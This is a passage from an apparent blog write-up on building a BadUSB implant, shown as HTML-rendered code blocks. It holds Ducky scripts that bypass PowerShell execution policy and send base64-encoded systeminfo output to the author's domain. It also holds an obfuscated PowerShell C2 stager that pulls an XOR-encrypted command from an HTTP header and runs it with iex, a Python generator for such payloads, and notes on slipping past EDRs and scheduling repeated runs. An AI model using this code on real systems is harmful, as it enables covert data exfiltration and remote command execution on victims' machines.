<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode cmd code-overflow-wrap code-with-copy"><code class="sourceCode dosbat"><span id="cb11-1">powershell <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-nol</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-nop</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-ep</span> bypass <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"</span></span></code></pre></div></div>
<p>The output of the <code>systeminfo</code> command is base64 encoded and sent to my domain in the URL path.</p>
<p>The Ducky script would be something like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb12-1">DELAY 5000</span>
<span id="cb12-2">GUI R</span>
<span id="cb12-3">DELAY 1000</span>
<span id="cb12-4">STRING cmd /k</span>
<span id="cb12-5">DELAY 500</span>
<span id="cb12-6">ENTER</span>
<span id="cb12-7">DELAY 5000</span>
<span id="cb12-8">STRING powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"</span>
<span id="cb12-9">DELAY 500</span>
<span id="cb12-10">ENTER</span>
<span id="cb12-11">DELAY 10000</span>
<span id="cb12-12">STRING exit</span>
<span id="cb12-13">DELAY 500</span>
<span id="cb12-14">ENTER</span></code></pre></div></div>
</section>
<section id="phase-2-c2-implant" class="level3">
<h3 class="anchored" data-anchor-id="phase-2-c2-implant">Phase 2: C2 implant</h3>
<p>The second phase is a bit more complex and is executed a couple of minutes after the exfiltration phase.</p>
<p>First, it spawns a cmd, then a powershell, and finally runs the obfuscated payload:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode powershell code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb13-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iwr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>me o <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>useR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)-</span>uR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'{3}{1}{4}{0}{2}'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>f<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'dom'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tps://'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ain/'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ht'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'my.'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">select</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">H</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'x-'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+[</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">99</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tf'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=([</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">91</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">170</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">97</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">228</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">201</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">185</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">130</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">37</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">108</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">248</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">51</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">126</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">230</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">143</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">216</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iex</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)).</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ForEach-Object</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])})))</span></span></code></pre></div></div>
<p>De-obfuscating it reveals four different parts:</p>
<ol type="1">
<li>It requests the URL <code>https://my.domain</code> without a User-Agent and using the HTTP method OPTIONS. It then selects the headers and saves them to the variable <code>$h</code>.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode powershell code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb14-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iwr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>me o <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>useR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)-</span>uR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'{3}{1}{4}{0}{2}'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>f<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'dom'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tps://'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ain/'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ht'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'my.'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">select</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">H</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*;</span></span></code></pre></div></div>
<ol start="2" type="1">
<li>In the second part, it retrieves the contents of the <code>x-ctf</code> header.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode powershell code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb15-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'x-'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+[</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">99</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tf'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span></code></pre></div></div>
<ol start="3" type="1">
<li>Next, it defines a hardcoded key. I’ll leave the cracking and deciphering the meaning of the <em>password</em> as an exercise for the reader.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode powershell code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb16-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=([</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">91</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">170</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">97</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">228</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">201</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">185</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">130</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">37</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">108</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">248</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">51</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">126</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">230</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">143</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">216</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span></code></pre></div></div>
<ol start="4" type="1">
<li>The final part performs XOR decryption on the contents of the header using the hardcoded key. The output is executed using <code>iex</code> (<code>Invoke-Expression</code>).</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode powershell code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb17-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iex</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)).</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ForEach-Object</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])})))</span></span></code></pre></div></div>
<p>I also created a small Python function to generate encrypted second-stage payloads on my minimal c2 server:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb18-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> generate_header_c2():</span>
<span id="cb18-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># generate encrypted header command using xor</span></span>
<span id="cb18-3">    encrypted_command <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span></span>
<span id="cb18-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> i <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">range</span>(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(X_HEADER_VALUE)):</span>
<span id="cb18-5">        encrypted_command <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">chr</span>(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">ord</span>(X_HEADER_VALUE[i]) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> KEY[i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(KEY)])</span>
<span id="cb18-6">    encrypted_command_b64 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> base64.b64encode(encrypted_command.encode())</span>
<span id="cb18-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> {<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>X_HEADER_NAME<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>: encrypted_command_b64.decode()}</span></code></pre></div></div>
<p>I tested the payload on different EDRs, and my <em>malicious</em> second-stage payload executed fine without major alerts. The tested payloads were harmless like <code>hostname</code> or <code>ipconfig</code>. Hopefully, if the next payload were <strong>really</strong> malicious, it would probably be detected.</p>
<p>The second Ducky script looks like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb19-1">DELAY 10000</span>
<span id="cb19-2">GUI R</span>
<span id="cb19-3">DELAY 2000</span>
<span id="cb19-4">STRING cmd /k</span>
<span id="cb19-5">DELAY 500</span>
<span id="cb19-6">ENTER</span>
<span id="cb19-7">DELAY 2000</span>
<span id="cb19-8">STRING powershell -ver 5 -nol -nop -ep bypass</span>
<span id="cb19-9">DELAY 500</span>
<span id="cb19-10">ENTER</span>
<span id="cb19-11">STRING $h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))</span>
<span id="cb19-12">DELAY 1000</span>
<span id="cb19-13">ENTER</span>
<span id="cb19-14">DELAY 10000</span>
<span id="cb19-15">STRING exit</span>
<span id="cb19-16">DELAY 500</span>
<span id="cb19-17">ENTER</span>
<span id="cb19-18">DELAY 1000</span>
<span id="cb19-19">STRING exit</span>
<span id="cb19-20">DELAY 500</span>
<span id="cb19-21">ENTER</span></code></pre></div></div>
</section>
<section id="packing-up" class="level3">
<h3 class="anchored" data-anchor-id="packing-up">Packing up</h3>
<p>With the two ducky script payloads ready, we can proceed to <a href="https://duckify.huhn.me/">duckify.huhn.me</a> to convert them into an Arduino IDE sketch.</p>
<p>To transform the badusb into a scheduler, I relocated the code from the <code>setup()</code> function to the <code>loop()</code> function and added delays between phases and at the end of execution. This configuration ensures the implant sleeps for 2 hours between executions.</p>
<p>Depending on the OS system or the keyboard language selected during the duckify conversion, the value pairs of the different characters may differ.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb20-1"><span class="pp" style="color: #AD0000;
background-color: null;
